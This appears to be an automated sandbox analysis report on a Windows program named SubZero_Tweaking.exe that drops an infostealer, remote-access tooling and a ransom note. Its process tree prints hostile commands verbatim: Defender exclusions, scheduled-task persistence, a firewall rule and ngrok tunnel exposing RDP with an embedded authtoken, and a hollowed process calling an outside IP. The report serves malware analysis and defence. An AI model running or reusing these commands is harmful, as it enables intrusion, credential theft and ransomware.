Analysis
-
max time kernel
700s -
max time network
953s -
platform
windows10-2004_x64 -
resource
win10v2004-20230915-en -
resource tags
-
submitted
07-10-2023 15:04
General
-
Target
SubZero_Tweaking.exe
-
Size
856KB
-
MD5
fc637380cbf974be1adb44a6a5bd1376
-
SHA1
fa0a8695c49497824a203a1bc0aadbb09acdec01
-
SHA256
3e032a34d67f6f9f46be4359ce624d3a4d9af64aab2b17d872e8b56bee2edacf
-
SHA512
3b7b394c7e2a2389bf59e1e3d3adaa408fd3ca19bc903a35036d7fece719ebc1ddeaaeef28c1c18027ca9607f2570637a59e5e97ece0df2c5da48b29c12b2493
-
SSDEEP
12288:LOm2t4WwFJM6cLeXAdv/x66v/wY1K8Zsnq2uZ0hQkP2ypcCHrHL3UJlqWWRuK9ow:64fcL//I6v4Y1Zu52y9/EGWWv9ohS
Malware Config
Signatures
-
Contains code to disable Windows Defender 1 IoCs
A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.
-
Modifies Windows Defender Real-time Protection settings 3 TTPs 4 IoCs
-
UAC bypass 3 TTPs 2 IoCs
-
XenArmor Suite
XenArmor is as suite of password recovery tools for various application.
-
Modifies Installed Components in the registry 2 TTPs 18 IoCs
-
Modifies Windows Firewall 1 TTPs 1 IoCs
-
Sets DLL path for service in the registry 2 TTPs 1 IoCs
-
ACProtect 1.3x - 1.4x DLL software 5 IoCs
Detects file using ACProtect software.
-
Allows Network login with blank passwords 1 TTPs 1 IoCs
Allows local user accounts with blank passwords to access device from the network.
-
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
-
Drops startup file 2 IoCs
-
Executes dropped EXE 15 IoCs
-
Loads dropped DLL 2 IoCs
-
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
-
Reads local data of messenger clients 2 TTPs
Infostealers often target stored data of messaging applications, which can include saved credentials and account information.
-
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
UPX packed file 5 IoCs
Detects executables packed with UPX/modified UPX open source packer.
-
Uses the VBS compiler for execution 1 TTPs
-
Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
-
Adds Run key to start application 2 TTPs 1 IoCs
-
Drops desktop.ini file(s) 17 IoCs
-
Enumerates connected drives 3 TTPs 36 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
-
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
-
Modifies WinLogon 2 TTPs 1 IoCs
-
Drops file in System32 directory 1 IoCs
-
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
-
Suspicious use of SetThreadContext 1 IoCs
-
Drops file in Program Files directory 4 IoCs
-
Launches sc.exe 3 IoCs
Sc.exe is a Windows utlilty to control services on the system.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Checks SCSI registry key(s) 3 TTPs 64 IoCs
SCSI information is often read in order to detect sandboxing environments.
-
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
-
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Enumerates system info in registry 2 TTPs 11 IoCs
-
Kills process with taskkill 2 IoCs
-
Modifies Internet Explorer settings 1 TTPs 40 IoCs
-
Modifies data under HKEY_USERS 1 IoCs
-
Modifies registry class 64 IoCs
-
Modifies registry key 1 TTPs 1 IoCs
-
Modifies system certificate store 2 TTPs 3 IoCs
-
Runs net.exe
-
Suspicious behavior: AddClipboardFormatListener 2 IoCs
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
-
Suspicious behavior: GetForegroundWindowSpam 6 IoCs
-
Suspicious behavior: LoadsDriver 1 IoCs
-
Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 17 IoCs
-
Suspicious use of AdjustPrivilegeToken 64 IoCs
-
Suspicious use of FindShellTrayWindow 64 IoCs
-
Suspicious use of SendNotifyMessage 64 IoCs
-
Suspicious use of SetWindowsHookEx 44 IoCs
-
Suspicious use of WriteProcessMemory 64 IoCs
-
System policy modification 1 TTPs 2 IoCs
-
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
-
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\SubZero_Tweaking.exe"C:\Users\Admin\AppData\Local\Temp\SubZero_Tweaking.exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Users\Public\FNChecker.exe"C:\Users\Public\FNChecker.exe"2⤵
- Modifies Windows Defender Real-time Protection settings
- UAC bypass
- Allows Network login with blank passwords
- Checks computer location settings
- Drops startup file
- Executes dropped EXE
- Adds Run key to start application
- Drops desktop.ini file(s)
- Sets desktop wallpaper using registry
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
- System policy modification
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Public\FNChecker.exe'3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'FNChecker.exe'3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\DLLRuntime'3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'DLLRuntime'3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "DLLRuntime" /tr "C:\Users\Admin\AppData\Roaming\DLLRuntime"3⤵
- Creates scheduled task(s)
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c Cd %temp% && All-In-One.exe OutPut.json3⤵
-
C:\Users\Admin\AppData\Local\Temp\All-In-One.exeAll-In-One.exe OutPut.json4⤵
- Executes dropped EXE
- Loads dropped DLL
- Accesses Microsoft Outlook accounts
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument C:\Users\Admin\Desktop\How To Decrypt My Files.html3⤵
- Enumerates system info in registry
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffe436b46f8,0x7ffe436b4708,0x7ffe436b47184⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2128,14810361463386972288,6725184961126039423,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2208 /prefetch:34⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2128,14810361463386972288,6725184961126039423,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2684 /prefetch:84⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2128,14810361463386972288,6725184961126039423,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2156 /prefetch:24⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,14810361463386972288,6725184961126039423,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3272 /prefetch:14⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,14810361463386972288,6725184961126039423,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3232 /prefetch:14⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2128,14810361463386972288,6725184961126039423,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4576 /prefetch:84⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2128,14810361463386972288,6725184961126039423,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4576 /prefetch:84⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,14810361463386972288,6725184961126039423,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5240 /prefetch:14⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,14810361463386972288,6725184961126039423,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5024 /prefetch:14⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,14810361463386972288,6725184961126039423,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5256 /prefetch:14⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,14810361463386972288,6725184961126039423,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5468 /prefetch:14⤵
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /F /IM explorer.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\explorer.exe"C:\Windows\explorer.exe"3⤵
- Modifies Installed Components in the registry
- Enumerates connected drives
- Checks SCSI registry key(s)
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" 76.70.93.24 7000 <123456789> 8B036473639757959B763⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -c explorer shell:::{3080F90E-D7AD-11D9-BD98-0000947B0257}4⤵
-
C:\Windows\SysWOW64\explorer.exe"C:\Windows\system32\explorer.exe" shell::: -encodedCommand MwAwADgAMABGADkAMABFAC0ARAA3AEEARAAtADEAMQBEADkALQBCAEQAOQA4AC0AMAAwADAAMAA5ADQANwBCADAAMgA1ADcA -inputFormat xml -outputFormat text5⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --disable-3d-apis --disable-gpu --disable-d3d11 "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data"4⤵
- Enumerates system info in registry
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xe0,0x108,0x10c,0xec,0x110,0x7ffe436b46f8,0x7ffe436b4708,0x7ffe436b47185⤵
- Checks processor information in registry
- Enumerates system info in registry
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1988,8690651443408240551,1253388175049137795,131072 --disable-d3d11 --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data" --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=2012 /prefetch:25⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1988,8690651443408240551,1253388175049137795,131072 --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data" --mojo-platform-channel-handle=2104 /prefetch:35⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1988,8690651443408240551,1253388175049137795,131072 --lang=en-US --service-sandbox-type=utility --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data" --mojo-platform-channel-handle=2608 /prefetch:85⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1988,8690651443408240551,1253388175049137795,131072 --disable-gpu-compositing --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data" --disable-3d-apis --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3356 /prefetch:15⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1988,8690651443408240551,1253388175049137795,131072 --disable-gpu-compositing --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data" --disable-3d-apis --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3348 /prefetch:15⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1988,8690651443408240551,1253388175049137795,131072 --disable-gpu-compositing --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data" --disable-3d-apis --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4664 /prefetch:15⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1988,8690651443408240551,1253388175049137795,131072 --disable-gpu-compositing --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data" --disable-3d-apis --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4572 /prefetch:15⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1988,8690651443408240551,1253388175049137795,131072 --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data" --mojo-platform-channel-handle=3168 /prefetch:85⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1988,8690651443408240551,1253388175049137795,131072 --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data" --mojo-platform-channel-handle=3168 /prefetch:85⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1988,8690651443408240551,1253388175049137795,131072 --disable-gpu-compositing --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data" --disable-3d-apis --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3564 /prefetch:15⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1988,8690651443408240551,1253388175049137795,131072 --disable-gpu-compositing --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data" --disable-3d-apis --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3164 /prefetch:15⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1988,8690651443408240551,1253388175049137795,131072 --disable-d3d11 --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data" --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=2024 /prefetch:25⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1988,8690651443408240551,1253388175049137795,131072 --disable-d3d11 --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data" --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=1996 /prefetch:25⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1988,8690651443408240551,1253388175049137795,131072 --disable-d3d11 --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data" --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=disabled --mojo-platform-channel-handle=2460 /prefetch:25⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1988,8690651443408240551,1253388175049137795,131072 --disable-d3d11 --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data" --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=disabled --mojo-platform-channel-handle=2344 /prefetch:25⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1988,8690651443408240551,1253388175049137795,131072 --disable-d3d11 --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data" --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=disabled --mojo-platform-channel-handle=5192 /prefetch:25⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1988,8690651443408240551,1253388175049137795,131072 --disable-gpu-compositing --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data" --disable-3d-apis --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2004 /prefetch:15⤵
-
C:\Windows\System32\taskkill.exe"C:\Windows\System32\taskkill.exe" /im ngrok.exe /f3⤵
- Kills process with taskkill
-
C:\Users\Admin\AppData\Local\Temp\ngrok.exeC:\Users\Admin\AppData\Local\Temp\ngrok.exe config add-authtoken 1aaeSKhosKVtPYCe5bcaEUzMHCP_sijx4jRqdeXReNnUjjy63⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\RDPWInst.exe"C:\Users\Admin\AppData\Local\Temp\RDPWInst.exe" -i3⤵
- Sets DLL path for service in the registry
- Executes dropped EXE
- Modifies WinLogon
- Drops file in System32 directory
- Drops file in Program Files directory
-
C:\Windows\SYSTEM32\netsh.exenetsh advfirewall firewall add rule name="Remote Desktop" dir=in protocol=tcp localport=3389 profile=any action=allow4⤵
- Modifies Windows Firewall
-
C:\Users\Admin\AppData\Local\Temp\ngrok.exe"C:\Users\Admin\AppData\Local\Temp\ngrok.exe" tcp 33893⤵
- Executes dropped EXE
- Modifies system certificate store
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" Get-MpPreference -verbose3⤵
-
C:\Windows\system32\sc.exe"C:\Windows\system32\sc.exe" qc windefend3⤵
- Launches sc.exe
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /d/r SecurityHealthSystray & "%ProgramFiles%\Windows Defender\MSASCuiL.exe"3⤵
-
C:\Windows\system32\whoami.exe"C:\Windows\system32\whoami.exe" /groups3⤵
-
C:\Windows\system32\net1.exe"C:\Windows\system32\net1.exe" start TrustedInstaller3⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe" /noconfig @"C:\Users\Admin\AppData\Local\Temp\lvfxpdri\lvfxpdri.cmdline"3⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES7B02.tmp" "C:\Users\Admin\AppData\Local\Temp\vbcE87401D7DE044621A36CFC7D708E5239.TMP"4⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument C:\Users\Admin\Desktop\How To Decrypt My Files.html3⤵
-
